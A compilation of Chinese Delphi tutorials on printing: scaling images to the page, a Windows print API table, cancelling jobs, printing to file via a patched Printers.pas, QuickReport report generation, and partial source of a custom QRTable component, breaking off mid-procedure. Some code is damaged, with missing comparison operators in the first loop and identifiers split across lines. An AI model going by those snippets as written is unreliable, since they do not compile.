因 此 我 们 只 要 调 整RECT 的 大 小 及 其 在 打 印 页 面 上 的 位 置， 进 而 达 到 自 己 满 意 的 效 果， 下 面 的 代 码 是 不 断 的 放 大 图 形， 充 满 我 们 定 义 的 矩 形 区 域， 并 将 其 定 位 在 打 印 机 画 布（CANVAS） 的 中 央 进 行 输 出。 代 码 如 下：

procedure TForm1.Button1Click(Sender: TObject);

VAR

strect:Trect; //定义打印输出矩形框的大小

temhi,temwd:integer;

begin

if printdialog1.execute then

begin

temhi:=image1.picture.height;

temwd:=image1.picture.width;

while (temhi printer.pageheight div 2)and

//将图形放大到打印页面的1/2大小

(temwd printer.pagewidth div 2) do

begin

temhi:=temhi+temhi;

temwd:=temwd+temwd;

end;

with strect do //定义图形在页面上的中心位置输出

begin

left:=(printer.pagewidth -temwd) div 2;

top:=(printer.pageheight-temhi) div 2;

right:=left+temwd;

bottom:=top+temhi;

end;

with printer do

begin

begindoc;

canvas.stretchdraw(strect,image1.picture.graphic);

//将放大的图形向打印机输出
enddoc;
end;
end;

end;


与打印有关的api

Api函数列表
——与打印相关

Api函数名
函数说明
适用范围

W3.x
W95
NT

AddPrinterConnection
为当前用户建立与打印机的联系
否
是
是

StartPagePrinter
开始打印机
否
是
是

StartDoc
开始打印作业
是
是
是

StartDocPrinter
开始打印作业
否
是
是

AddPrintProvidor
加入一个打印机支持器
否
是
是

AddForm
加入一个打印机窗体
否
是
是

AddPort
加入一个打印机端口
否
是
是

AddMonitor
加入一个打印机管理器
否
是
是

ShellExecute
打开或打印指定文件
否
是
是

ClosePrinter
关闭打开的打印机
否
是
是

WritePrinter
向打印机输出数据
否
是
是

AddPrinter
在打印机服务器上建立一个打印机
否
是
是

SetAbortProc
设备打印作业的放弃函数
否
是
是

SetPrinter
设置打印机信息
否
是
是

SetPrinterData
设置打印机配置
否
是
是

SetJob
设置打印作业信息
否
是

是

ResetPrinter
设置打印数据类型和设备模式值
否
是
是

DeletePrinterConnection
删除与打印机的连接
否
是
是

DeletePrintProcessor
删除打印机处理器
否
是
是

DeletePrinterDriver
删除打印机驱动程序
否
是
是

DeletePrinter
删除打印机服务器上的打印机
否
是
是

DeleteMonitor
删除打印机监视器
否
是
是

DeletePrintProvidor
删除打印机提供者
否
是
是

DeleteForm
删除打印机窗体层差
否
是
是

AbortPrinter
删除打印机缓冲文件
否
是
是

DeletePort
删除打印机端口
否
是
是

AddJob
启动一个打印作业
否
是
是

AdvancedDocumentProperties
进行打印机高级设置
否
是
是

PrintDlg
建立打印文本对话框
否
是
是

EnumPrintProcessors
枚举已安装的打印机处理器
否
是
是

EnumPrinterDrivers
枚举已安装的打印机驱动程序
否
是
是

EnumPorts
枚举可用打印机端口
否
是
是

EnumPrintProcessorDatatypes
枚举打印机所支持的数据类型
否
是
是

EnumForms
枚举所支持的打印机窗体
否

是
是

AbortDoc
终止一项打印作业
是
是
是

PrinterProperties
修改打印机属性
否
是
是

AddPrintProcessor
将打印处理器复制到打印机服务器中
否
是
是

AddPrinterDriver
将打印机驱动程序复制到打印机服务器中
否
是
是

PrinterMessageBox
显示打印作业出错信息
否
是
是

ConnectToPrinterDlg
显示浏览对话并连接网络打印机
否
是
是

EndPagePrinter
结束打印页
否
是
是

EndDoc
结束打印作业
是
是
是

EndDocPrinter
结束打印作业
否
是
是

StartPage
准备打印机接收数据
是
是
是

WaitForPrinterChange
监测打印机或打印机服务器变化
否
是
是

GetPrintProcessorDirectory
获取打印机驱动处理器路径
否
是
是

GetPrinterDriver
获取打印机驱动程序信息
否
是
是

GetPrinterDriverDirectory
获取打印机驱动程序路径
否
是
是

GetPrinter
获取打印机信息
否
是
是

GetPrinterData
获取打印机配置信息
否
是
是

GetForm
获取打印机窗口信息
否

是
是

EnumJobs
获取打印作业信息
否
是
是

GetJob
获取打印作业信息
否
是
是

OpenPrinter
获取指定打印机的句柄
否
是
是

ReadPrinter
读打印机数据
否
是
是

DocumentProperties
配置打印机设置
否
是
是

ConfigurePort
配置打印机端口
否
是
是


如何撤消打印

SetAbortProc(HDC hdc, // handle of device context
ABORTPROC lpAbortProc // address of abort function
);
该函数设置一个回调函数,在hdc打印过程中,会不停的调用这个回调函数AbortProc,
其中回调函数AbortProc声明如下:

AbortProc( HDC hdc, int iError);

参数iError是出错码,0表示没有错误,常数SP_OUTOFDISK表示磁盘空间不够用了.

函数返回值: True 表示继续打印, false表示终止打印


打印输出到文件

To do this you simply need to change the initialization of the
DocInfo structure in TPrinter from:

lpszOutput := nil;

to:

lpszOutput := 'C:\SomePath\SomeFileName';

You can make a permanent change to TPrinter, but for the ultimate in
flexibility, you can create an interface unit to make the filename
easy to change from your application.

{ Note: Modifications to the VCL are made at the developers risk and
any effects caused by modifications are not the responsibility of
Borland International. }
The safest way to make changes to the VCL is to create a new directory
called "patched", and copy the Printers.Pas unit to the new directory,
then make your changes (with comments) to the copied file. The you
must add the path to your patched directory to the beginning of your
library path, then restart Delphi/C++ Builder, and rebuild your
project after making the following changes. Note that the library path
setting can be found off the main menu of:

Delphi 1 : Options... Environment... Library
Delphi 2 : Tools... Options... Library
Delphi 3 : Tools... Environment Options... Library
C++ Builder : Options... Environment... Library

Instructions for the patch:

1) Create a new unit in the patched directory called "PrnPage.pas"
and include the following code in the unit:

unit PrnPage;

interface

var FileNameToPrintTo : Pointer;

implementation

begin
FileNameToPrintTo := nil;
end.

2) Now open the Printers.Pas file in your patched directory.
Search for the line that reads "uses Consts;" (or in Delphi 16 it will
read "uses WinProcs, Consts;");

and add the PrnPage unit to the uses clause:

uses Consts, PrnPage;

3) Now search for line that reads "lpszOutput := nil;"

and change it to read: lpszOutput := FileNameToPrintTo;

4) Save your changes, and restart Delphi / C++ Builder.

5) To test your changes, try the following code. Note: Be sure to use
the "Build All" option when compiling your project for the first time.

uses Printers, PrnPage;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
lpPrnFile : pChar;
begin
GetMem(lpPrnFile, MAX_PATH +1);

try
StrPCopy(lpPrnFile, 'C:\Download\TestIt.Prn');
FileNameToPrintTo := @lpPrnFile^;

with Printer do begin
BeginDoc;
Canvas.TextOut(10, 10, 'Test');
EndDoc;
end;

FileNameToPrintTo := nil;

  finally
FreeMem(lpPrnFile, MAX_PATH
+1);
end;
end;


生成报表

---- 用户在使用数据库应用程序时经常要生成报表，利用Delphi 4的QReport 部件，可以帮助我们快速方便地生成报表。这里以一个设备管理报表为例说明如何用QReport部件与Query部件设计从多个数据表中生成报表。

一、 所用数据库
---- 这里用到三个Foxpro数据表，DLBMK（设备大类编码）、SBXHK（设备型号及配置）、BMSBK（设备所在部门），存放在D：\SB目录下。其库结构如下：
（一） DLBMK
字段名称 字段类型 解释
1． DLBH N3 设备大类的编号
2． DLMC C20 设备大类的名称
（二）SBXHK
字段名称 字段类型 解释
1． XHBM N3 设备型号的编码
2． DLBH N3 同DLBMK中的DLBH字段
3． SBXH C30 设备型号
4． SBPZ C30 设备配置
5． SBSL N3 设备数量
（三）BMSBK
字段名称 字段类型 解释
1． BMMC C20 部门名称
2． XHBM N3 同SBXHK中的XHBM字段
3． SL N3 数量

---- 利用这三个数据表，要生成一个只有电脑部有而其他部门没有的设备型号的情况。

二、 程序中的部件及属性
---- 程序中有两个窗体：主窗体mainForm与报表窗体repForm。

---- 主窗体mainForm中有两个TButton部件，设置如下：

部件 属性及属性值
PreviewBtn:TButton Caption:预览
PrintBtn: TButton Caption:打印
---- 报表窗体repForm中的部件及属性设置如下：

部件 属性及属性值
Query1: TQuery DatabaseName:d:\sb
Active: True
Qrep1: TQuickrep Dataset:query1
TitleBand1: TQRBand BandType:rbTitle
HeadBand1: TQRBand BandType:rbColumnHeader
DrawLeft : True
DrawRight : True
DrawTop : True
DrawBottom : True
DetailBand1: TQRBand BandType:rbDetail
DrawLeft : True
DrawRight : True
DrawTop : True
DrawBottom : True
ChildBand1: TQRChildBand ParentBand:DetailBand1
DrawLeft : True
DrawRight : True
DrawTop : True
DrawBottom : True
TitleLabel: TQRLabel Caption:设备统计表
DlmcLabel: TQRLabel Caption:类别
SbxhLabel: TQRLabel Caption:型号
SbpzLabel: TQRLabel Caption:配置
SbslLabel: TQRLabel Caption:数量
DlmcDBText: TQRDBText Dataset:Query1
Datafield: dlmc
SbxhDBText: TQRDBText Dataset:Query1
Datafield: sbxh
SbpzDBText: TQRDBText Dataset:Query1
Datafield: sbpz
SbslDBText: TQRDBtext Dataset:Query1
Datafield: sbsl
Shape1～9: TQRShape Shape:qrsVertline
Top:0
Width:1
Query1的SQL属性设置为：
select a.dlbh,a.dlmc,b.sbxh,b.sbpz,b.sbsl
from dlbmk a,sbxhk b
where a.dlbh=b.dlbh and b.xhbm not in
(select xhbm from bmsbk where trim(bmmc)<>’电脑部’)
order by a.dlbh
---- 设置几个TQRband部件的DrawLeft、DrawRight、DrawTop、DrawBottom属性值为True,是为了打印表格边框及横线。利用TQRShape部件，是为了打印出表格竖线。DlmcDBText放置在DetailBand1上，其它几个TQRDBText部件放置在ChildBand1上，Shape1～3放置在HeadBand1上，Shape4～6放置在DetailBand1上, Shape7～9放置在ChildBand1上。

三、 为程序增加代码
---- 1．mainForm窗体中的两个按钮事件
procedure TmainForm.PreviewBtnClick(Sender : TObject)
begin
repForm.Qrep1.Preview;
end;

procedure TmainFormPrintBtnClick(Sender : TObject)
begin
repForm.Qrep1.Print;
end;

---- 2．HeadBand1、DetailBand1及ChildBand1的BeforePrint事件
procedure
TrepForm.HeadBand1BeforePrint(Sender : TQRCustomBand;
Var   PrintBand : Boolean)
Begin
Shape1.Height:=HeadBand1.Height;
Shape2.Height:=HeadBand1.Height;
Shape3.Height:=HeadBand1.Height;
End;

procedure TrepForm.DetailBand1BeforePrint(Sender : TQRCustomBand; Var PrintBand : Boolean)
begin
PrintBand:=bh< >Query1[‘dlbh’];
if PrintBand then
begin
bh:=Query1[‘dlbh’];
Shape4.Height:=DetailBand1.Height;
Shape5.Height:=DetailBand1.Height;
Shape6.Height:=DetailBand1.Height;
end
end;

procedure TrepForm.ChildBand1BeforePrint(Sender : TQRCustomBand; Var PrintBand : Boolean)
Begin
Shape7.Height:=ChildBand1.Height;
Shape8.Height:=ChildBand1.Height;
Shape9.Height:=ChildBand1.Height;
End;

bh应在变量定义部分定义：
Var bh : shortint=0;

---- 几个TQRShape部件的高度(Height)与所在TQRBand 部件保持一致，使竖线打印得整齐。如果在设计阶段调整了TQRBand部件的高度，也不会出现竖线断线或过长的情况。

---- 在DetailBand1的BeforePrint事件中用PrintBand进行控制，可使每个设备大类名称只需打印一次，而不是每个型号都对应打印一次大类名称。因为dlbh字段的值都大于0，bh初值设为0使它与任一记录的dlbh字段的值都不同，以确保第一个大类名称被打印。这样就生成了一个从多个数据表中提取数据，并带有表格线的数据报表。

---- 注：本例工程文件为sbgl.dpr，原程序文件为main.pas和sbrep.pas，若要测试请将dlbmk.dbf、 sbxhk.dbf、bmsbk.dbf三个文件放在d:\sb目录下。


在程序运行时生成报表

可以使用 QRCreateList 函数在程序运行行生成一个报表. 用法如下：

QRCreateList(aReport, Self, qryCountry, 'Country Report', FieldList);

aReport 是要生成的报表名.

qryCountry - 数据表名

'Country Report' - 报表抬头

FieldList - 数据集 dataset 在报表中用到的字段列表.若列表为空或包含 0 项，则所有的字段都将被打印进报表.

示例如下：

{ default the list to nil }

FieldList := nil;

{

使用权新报表为nil,否则 QRCreateList 将不能生成而报告访问冲突.

}

aReport := nil;

{

生成新报表. 此调用将生成一行 Header band 和 Detail band. 你可以在 preview 或 print 之前通过订制使之包含 group

band, summary band, 等.

}

QRCreateList(aReport, Self, qryCountry, 'Country Report', FieldList);


QuickReport一个简单的打印中国式报表（带框线）的控件

中国式的报表很变态，各种各样的框线，不同的间距，
斜线什么什么的很头疼的说，以前曾经看过一个医院的报表
各种无规则线条遍布简直象城市规划图，呵呵

而目前好像也没有什么特别方便的画中国式报表的控件
好一点的如ReportBuilder，FastReport, AcerReport等等
大多属于有版权限制而且使用也不是很容易，
而对此问题偶的解决方法无非是两种，

一是在word/excel里面生成报表模板，
然后程序通过VBA调用之，生成报表，预览、打印
这样做出来的报表非常PP，也很灵活，但是需要对方有OFFICE
开发者对OFFICE VBA也必须有一定认识，中文版的OFFICE
都带有详细的VBA编程说明，有兴趣在这方面下功夫的朋友
可以研究一下，这里就不再罗嗦了……

另外一种解决方法也是我比较喜欢的方法是编写专门的控件
因为实在没有时间精力开发一套通用控件，也不知道是否真的能
开发出这样一套通用控件，因此偶一般是针对项目的要求
编写定制报表控件，其实只要知道了大概的步骤，
编写这样一个控件非常简单，而且方便
下面就以一个简单的报表的例子简述一下
（因为删去一些适应特殊要求的代码，控件功能比较简单
不过刚刚适合做演示用 :)

首先，一个QuickReport控件必须继承自TQRPrintable类
比如TQRTable = class(TQRPrintable)
其次，有两个方法必须重载，如
procedure Paint; override;
procedure Print(OfsX, OfsY : Integer); override;
Paint负责设计时显示控件，而Print负责预览、打印时将
报表画在打印机上，打印机被QuickReport控件封装在一个
QRPrinter对象中，通过QRPrinter.Canvas可以直接在打印机上画
出你的报表:) 因此你就当作是在一块白布上画图好了，呵呵
另外在控件编写中注意打印机的Font, Pen, Brush必须自行保存设置
因为你的报表上不只你一个控件，其他控件会修改这些对象
最后还有一些需要注意的，如显示和打印时的画表代码可以共用，
建议将之独立出来，但要注意打印时偏移的处理箜
另外中国式报表经常出现列的特殊定义，建议用一个TCollection
的子类来处理，这样可以实现设计时手工调整，具体实现见下面示例

下面是一个简单的例子，因为原来编写时时间赶得比较紧
代码没有注释，风格也不是很好，大家不要学偶，呵呵
虽然删去了一些功能，但是基本上还是一个完整的
贴出来给希望在这方面做工作的朋友做个参考 :)

其实大概看一下就会发现很简单的说，QuickReport也有源代码在网上
可以下载到，记得cn-ftp.dhs.org以前好像有……
想到哪里写到哪里，没有什么条理，请见谅，有什么不清楚的
或者偶有什么错误需要指出的请re此文 :)

unit QRTable;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
QuickRpt;
type
TQRTableColumn = class(TCollectionItem)
private
FAlignment: TAlignment;
FCaption: string;
FMaxWidth,
FMinWidth,
FWidth,
FTag: Integer;
FSubColumns: TStringList;
procedure SetAlignment(Value: TAlignment);
procedure SetCaption(const Value: string);
procedure SetMaxWidth(Value: Integer);
procedure SetMinWidth(Value: Integer);
procedure SetWidth(Value: Integer);
procedure SetSubColumns(Value: TStringList);
function GetColCount: Integer;
protected
function GetDisplayName: string; override;
public
constructor Create(Collection: TCollection); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure DrawColumn(Canvas: TCanvas; const R: TRect);
property ColCount: Integer read GetColCount;
published
property Alignment: TAlignment read FAlignment write SetAlignment defaul
t taCenter;
property Caption: string read FCaption write SetCaption;
property MaxWidth: Integer read FMaxWidth write SetMaxWidth default 0;
property MinWidth: Integer read FMinWidth write SetMinWidth default 0;
property Width: Integer read FWidth write SetWidth default 64;
property Tag: Integer read FTag write FTag default 0;
property SubColumns: TStringList read FSubColumns write SetSubColumns;
end;
TQRTable = class;
TQRTableColumns = class(TCollection)
private
FOwner: TQRTable;
function GetItem(Index: Integer): TQRTableColumn;
procedure SetItem(Index: Integer; Value: TQRTableColumn);
protected
function GetOwner: TPersistent; override;
procedure Update(Item: TCollectionItem); override;
public
constructor Create(AOwner: TQRTable);
function Add: TQRTableColumn;
property Owner: TQRTable read FOwner;
property Items[Index: Integer]: TQRTableColumn read GetItem write SetIte
m; default;
end;
TQRTableGetColumnDataEvent = procedure (Sender: TObject; ACol, ARow: Integ
er; Data: TStringList) of object;
TQRTable = class(TQRPrintable)
private
FFont: TFont;
FDrawFrame: Boolean;
FGridLineWidth,
FFrameLineWidth: Integer;
FFixedColWidth,
FFixedRowHeight: Integer;
FDefaultColWidth,
FDefaultRowHeight: Integer;
FAutoColWidth,
FAutoRowHeight: Boolean;
FColumns: TQRTableColumns;
FFixedRows: TStringList;
FOnGetColumnData: TQRTableGetColumnDataEvent;
procedure SetFont(Value: TFont);
procedure SetDrawFrame(Value: Boolean);
procedure SetGridLineWidth(Value: Integer);
procedure SetFrameLineWidth(Value: Integer);
procedure SetFixedRows(Value: TStringList);
procedure SetFixedColWidth(Value: Integer);
procedure SetFixedRowHeight(Value: Integer);
procedure SetDefaultColWidth(Value: Integer);
procedure SetDefaultRowHeight(Value: Integer);
procedure SetAutoColWidth(Value: Boolean);
procedure SetAutoRowHeight(Value: Boolean);
protected
procedure Paint; override;
procedure Print(OfsX, OfsY : Integer); override;
procedure ContentChange(Sender: TObject);
procedure DrawFrames(Canvas: TCanvas; OfsX, OfsY: Integer);
procedure DrawCorner(Canvas: TCanvas; OfsX, OfsY: Integer);
procedure DrawFixed(Canvas: TCanvas; OfsX, OfsY: Integer);
procedure DrawTable(Canvas: TCanvas; OfsX, OfsY: Integer);
procedure DrawContent(Canvas: TCanvas; OfsX, OfsY: Integer);
public
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
function ColWidth(ACol: Integer): Integer;
function RowHeight(ARow: Integer): Integer;
function CellRect(ACol, ARow: Integer): TRect;
published
property Font: TFont read FFont write SetFont;
property DrawFrame: Boolean read FDrawFrame write SetDrawFrame default T
rue;
property GridLineWidth: Integer read FGridLineWidth write SetGridLineWid
th default 1;
property FrameLineWidth: Integer read FFrameLineWidth write SetFrameLine
Width default 2;
property AutoColWidth: Boolean read FAutoColWidth write SetAutoColWidth
default True;
property AutoRowHeight: Boolean read FAutoRowHeight write SetAutoRowHeig
ht default True;
property DefaultColWidth: Integer read FDefaultColWidth write SetDefault
ColWidth default 64;
property DefaultRowHeight: Integer read FDefaultRowHeight write SetDefau
ltRowHeight default 24;
property FixedRows: TStringList read FFixedRows write SetFixedRows;
property FixedColWidth: Integer read FFixedColWidth write SetFixedColWid
th default 64;
property FixedRowHeight: Integer read FFixedRowHeight write SetFixedRowH
eight default 24;
property Columns: TQRTableColumns read FColumns write FColumns;
property OnGetColumnData: TQRTableGetColumnDataEvent read FOnGetColumnDa
ta write FOnGetColumnData;
property Alignment;
property AlignToBand;
end;
procedure Register;
implementation
function OffsetRect(R: TRect; OfsX, OfsY: Integer): TRect;
begin
with Result do
begin
Left := OfsX + R.Left;
Right := OfsX + R.Right;
Top := OfsY + R.Top;
Bottom := OfsY + R.Bottom;
end;
end;
procedure DrawText(Canvas: TCanvas; R: TRect; const Text: string; Align: TAl
ignment = taCenter);
var
X, Y: Integer;
Str: string;
begin
Canvas.Font.Color := clBlack;
Str := Trim(Text);
case Align of
taLeftJustify:
X := R.Left;
taRightJustify:
X := R.Left + ((R.Right - R.Left) - Canvas.TextWidth(Str));
taCenter:
X := R.Left + ((R.Right - R.Left) - Canvas.TextWidth(Str)) div 2;
else
X := R.Left;
end;
Y := R.Top + ((R.Bottom - R.Top) - Canvas.TextHeight(Str)) div 2;
Canvas.TextOut(X, Y, Str);
end;
{ TQRTableColumn }
constructor TQRTableColumn.Create(Collection: TCollection);
var
Table: TQRTable;
begin
inherited Create(Collection);
Table := (Collection as TQRTableColumns).Owner as TQRTable;
FAlignment := taCenter;
FCaption := '';
FMaxWidth := 0;
FMinWidth := 0;
FWidth := Table.FixedColWidth;
FTag := 0;
FSubColumns:= TStringList.Create;
end;
destructor TQRTableColumn.Destroy;
begin
FSubColumns.Free;
inherited Destroy;
end;
procedure TQRTableColumn.Assign(Source: TPersistent);
var
Column: TQRTableColumn;
begin
if Source is TQRTableColumn then
begin
Column := Source as TQRTableColumn;
FAlignment := Column.Alignment;
FCaption := Column.Caption;
FMaxWidth := Column.MaxWidth;
FMinWidth := Column.MinWidth;
FWidth := Column.Width;
FTag := Column.Tag;
FSubColumns.Assign(Column.SubColumns);
end
else
inherited Assign(Source);
end;
function TQRTableColumn.GetDisplayName: string;
begin
if FCaption <> '' then
Result := FCaption
else
Result := ClassName;
end;
procedure TQRTableColumn.SetAlignment(Value: TAlignment);
begin
if FAlignment <> Value then
begin
FAlignment := Value;
Changed(False);
end;
end;
procedure TQRTableColumn.SetCaption(const Value: string);
begin
if FCaption <> Value then
begin
FCaption := Value;
Changed(False);
end;
end;
procedure TQRTableColumn.SetMaxWidth(Value: Integer);
begin
if FMaxWidth <> Value then
begin
FMaxWidth := Value;
if FMaxWidth < 0 then
FMaxWidth := 0;
if FMaxWidth < FMinWidth then
FMaxWidth := FMinWidth;
if FWidth > FMaxWidth then
FWidth := FMaxWidth;
Changed(False);
end;
end;
procedure TQRTableColumn.SetMinWidth(Value: Integer);
begin
if FMinWidth <> Value then
begin
FMinWidth := Value;
if FMinWidth < 0 then
FMinWidth := 0;
if FMinWidth > FMaxWidth then
FMinWidth := FMaxWidth;
if FWidth < FMinWidth then
FWidth := FMinWidth;
Changed(False);
end;
end;
procedure TQRTableColumn.SetWidth(Value: Integer);
begin
if FWidth <> Value then
begin
if (FMinWidth > 0) and (Value < MinWidth) then
FWidth := MinWidth
else if (FMaxWidth > 0) and (Value > MaxWidth) then
FWidth := MaxWidth
else
FWidth := Value;
Changed(False);
end;
end;
procedure TQRTableColumn.SetSubColumns(Value: TStringList);
begin
FSubColumns.Assign(Value);
Changed(False);
end;
function TQRTableColumn.GetColCount: Integer;
begin
if FSubColumns.Count > 0 then
Result := FSubColumns.Count
else
Result := 1;
end;
procedure TQRTableColumn.DrawColumn(Canvas: TCanvas; const R: TRect);
var
I, SubColLeft, SubColWidth: Integer;
Center: TPoint;
begin
if FSubColumns.Count > 0 then
begin
Center.x := (R.Left + R.Right) div 2;
Center.y := (R.Top + R.Bottom) div 2;
Canvas.MoveTo(R.Left, Center.y);
Canvas.LineTo(R.Right, Center.y);
DrawText(Canvas, Rect(R.Left, R.Top, R.Right, Center.y), FCaption, FAlig
nment);
SubColWidth := Width div FSubColumns.Count;
for I:=0 to FSubColumns.Count-1 do
begin
SubColLeft := R.Left + SubColWidth * I;
if I <> 0 then
begin
Canvas.MoveTo(SubColLeft, (R.Top + R.Bottom) div 2);
Canvas.Lineto(SubColLeft, R.Bottom + TQRTableColumns(Collection).Own
er.Height - (R.Bottom - R.Top));
end;
DrawText(Canvas, Rect(SubColLeft, (R.Top + R.Bottom) div 2,
SubColLeft + SubColWidth, R.Bottom), SubColumns[
I], FAlignment);
end;
end
else
DrawText(Canvas, R, FCaption, FAlignment);
end;
{ TQRTableColumns }
constructor TQRTableColumns.Create(AOwner: TQRTable);
begin
inherited Create(TQRTableColumn);
FOwner := AOwner;
end;
function TQRTableColumns.GetItem(Index: Integer): TQRTableColumn;
begin
Result := TQRTableColumn(inherited GetItem(Index));
end;
procedure TQRTableColumns.SetItem(Index: Integer; Value: TQRTableColumn);
begin
inherited SetItem(Index, Value);
end;
function TQRTableColumns.GetOwner: TPersistent;
begin
Result := FOwner;
end;
procedure TQRTableColumns.Update(Item: TCollectionItem);
begin
FOwner.Invalidate;
end;
function TQRTableColumns.Add: TQRTableColumn;
begin
Result := TQRTableColumn(inherited Add);
FOwner.Invalidate;
end;
{ TQRTable }
constructor TQRTable.Create(AOwner: TComponent);
var
ABand: TQRCustomBand;
begin
inherited Create(AOwner);
Height := 65;
if AOwner is TQRCustomBand then
begin
ABand := AOwner as TQRCustomBand;
Width := ABand.Width;
Left := 0;
end
else
Width := 65;
FFont := TFont.Create;
FFont.OnChange := ContentChange;
FDrawFrame := True;
FGridLineWidth := 1;
FFrameLineWidth := 2;
FFixedColWidth := 64;
FFixedRowHeight := 24;
FFixedRows := TStringList.Create;
FFixedRows.OnChange := ContentChange;
FDefaultColWidth := 64;
FDefaultRowHeight := 24;
FAutoColWidth := True;
FAutoRowHeight := True;
FColumns := TQRTableColumns.Create(Self);
end;
destructor TQRTable.Destroy;
begin
FFont.Free;
FFixedRows.Free;
FColumns.Free;
inherited Destroy;
end;
procedure TQRTable.ContentChange(Sender: TObject);
begin
Invalidate;
end;
function TQRTable.ColWidth(ACol: Integer): Integer;
begin
if ACol = 0 then
Result := FFixedColWidth
else if FAutoColWidth then
Result := (Width - FFixedColWidth) div (FColumns.Count - 1)
else
Result := FDefaultColWidth;
end;
function TQRTable.RowHeight(ARow: Integer): Integer;
begin
if ARow = 0 then
Result := FFixedRowHeight
else if FAutoRowHeight then
Result := (Height - FFixedRowHeight) div (FFixedRows.Count - 1)
else
Result := FDefaultRowHeight;
end;
function TQRTable.CellRect(ACol, ARow: Integer): TRect;
var
I: Integer;
begin
FillChar(Result, SizeOf(TRect), 0);
for I:=0 to ACol-1 do
Inc(Result.Left, ColWidth(I));
for I:=0 to ARow-1 do
Inc(Result.Top, RowHeight(I));
Result.Right := Result.Left + ColWidth(ACol);
Result.Bottom := Result.Top + RowHeight(ARow);
end;
procedure TQRTable.SetFont(Value: TFont);
begin
FFont.Assign(Value);
Invalidate;
end;
procedure TQRTable.SetDrawFrame(Value: Boolean);
begin
if FDrawFrame <> Value then
begin
FDrawFrame := Value;
Invalidate;
end;
end;
procedure TQRTable.SetGridLineWidth(Value: Integer);
begin
if FGridLineWidth <> Value then
begin
FGridLineWidth := Value;
Invalidate;
end;
end;
procedure TQRTable.SetFrameLineWidth(Value: Integer);
begin
if FFrameLineWidth <> Value then
begin
FFrameLineWidth := Value;
Invalidate;
end;
end;
procedure TQRTable.SetFixedRows(Value: TStringList);
begin
FFixedRows.Assign(Value);
Invalidate;
end;
procedure TQRTable.SetFixedColWidth(Value: Integer);
begin
if FFixedColWidth <> Value then
begin
FFixedColWidth := Value;
Invalidate;
end;
end;
procedure TQRTable.SetFixedRowHeight(Value: Integer);
begin
if FFixedRowHeight <> Value then
begin
FFixedRowHeight := Value;
Invalidate;
end;
end;
procedure TQRTable.SetDefaultColWidth(Value: Integer);
begin
if FDefaultColWidth <> Value then
begin
FDefaultColWidth := Value;
Invalidate;
end;
end;
procedure TQRTable.SetDefaultRowHeight(Value: Integer);
begin
if FDefaultRowHeight <> Value then
begin
FDefaultRowHeight := Value;
Invalidate;
end;
end;
procedure TQRTable.SetAutoColWidth(Value: Boolean);
begin
if FAutoColWidth <> Value then
begin
FAutoColWidth := Value;
Invalidate;
end;
end;
procedure TQRTable.SetAutoRowHeight(Value: Boolean);
begin
if FAutoRowHeight <> Value then
begin
FAutoRowHeight := Value;
Invalidate;
end;
end;
procedure TQRTable.DrawFrames(Canvas: TCanvas; OfsX, OfsY: Integer);
var
I, Cur: Integer;
begin
if FDrawFrame then
with Canvas do
begin
Pen.Color := clBlack;
for I := 0 to FFrameLineWidth - 1 do
Rectangle(OfsX + I, OfsY + I, OfsX + Width - I, OfsY + Height - I);
Pen.Width := FGridLineWidth;
Cur := 0;
for I := 0 to FColumns.Count - 1 do
begin
FColumns[I].Width := ColWidth(I);
if I < FColumns.Count - 1 then
begin
Inc(Cur, FColumns[I].Width);
MoveTo(OfsX + Cur, OfsY + FFrameLineWidth);
LineTo(OfsX + Cur, OfsY + Height - FFrameLineWidth);
end;
end;
Cur := 0;
for I := 0 to FFixedRows.Count - 2 do
begin
Inc(Cur, RowHeight(I));
MoveTo(OfsX + 0 + FFrameLineWidth, OfsY + Cur);
LineTo(OfsX + Width - FFrameLineWidth, OfsY + Cur);
end;
end;
end;
procedure TQRTable.DrawCorner(Canvas: TCanvas; OfsX, OfsY: Integer);
var
Str: string;
X, Y, Len, HalfWidth, HalfHeight: Integer;
begin
with Canvas do
if((FColumns.Count > 0) and (FFixedRows.Count > 0)) then
begin
if FDrawFrame then
begin
MoveTo(OfsX + 0 + FFrameLineWidth, OfsY + 0 + FFrameLineWidth);
LineTo(OfsX + ColWidth(0) - FFrameLineWidth, OfsY + RowHeight(0) - FFr
ameLineWidth);
end;
HalfWidth := ColWidth(0) div 2;
HalfHeight := RowHeight(0) div 2;
Str := FFixedRows[0];
X := (HalfWidth - TextWidth(Str)) div 2;
if X < 4 then
X := 4;
Y := HalfHeight + (HalfHeight - TextHeight(Str)) div 2;
TextOut(OfsX + X, OfsY + Y, Str);
Str := FColumns[0].Caption;
Len := TextWidth(Str);
X := HalfWidth + (HalfWidth - Len) div 2;
if (X + Len + 4) > (HalfWidth * 2) then
X := HalfWidth * 2 - Len - 4;
Y := (HalfHeight - TextHeight(Str)) div 2;
TextOut(OfsX + X, OfsY + Y, Str);
end
else if FColumns.Count > 0 then
begin
if FColumns[0].Caption <> '' then
DrawText(Canvas, OffsetRect(CellRect(0, 0), OfsX, OfsY), FColumns[0].C
aption);
end
else if FFixedRows.Count > 0 then
begin
if FFixedRows[0] <> '' then
DrawText(Canvas, OffsetRect(CellRect(0, 0), OfsX, OfsY), FFixedRows[0]
);
end
else
; // do nothing;
end;
procedure TQRTable.DrawFixed(Canvas: TCanvas; OfsX, OfsY: Integer);
var
I, Len: Integer;
begin
with Canvas do
begin
Len := FColumns.Count;
if Len > 0 then
for I:=1 to Len-1 do
FColumns[I].DrawColumn(Canvas, OffsetRect(CellRect(I, 0), OfsX, OfsY))
;
Len := FFixedRows.Count;
if Len > 0 then
for I:=1 to Len-1 do
DrawText(Canvas, OffsetRect(CellRect(0, I), OfsX, OfsY), FFixedRows[I]
);
end;
end;
procedure TQRTable.DrawContent(Canvas: TCanvas; OfsX, OfsY: Integer);
var
R: TRect;
lstData: TStringList;
ACol, ARow, Count, I, SubColWidth: Integer;
begin
if Assigned(FOnGetColumnData) then
begin
lstData := TStringList.Create;
try
for ACol := 1 to FColumns.Count - 1 do
for ARow := 1 to FFixedRows.Count - 1 do
begin
lstData.Clear;
FOnGetColumnData(Self, ACol, ARow, lstData);
with FColumns[ACol] do
if lstData.Count > 0 then
begin
if SubColumns.Count > 0 then
begin
SubColWidth := FColumns[ACol].Width div SubColumns.Count;
if SubColumns.Count > lstData.Count then
Count := lstData.Count
else
Count := SubColumns.Count;
end
else
begin
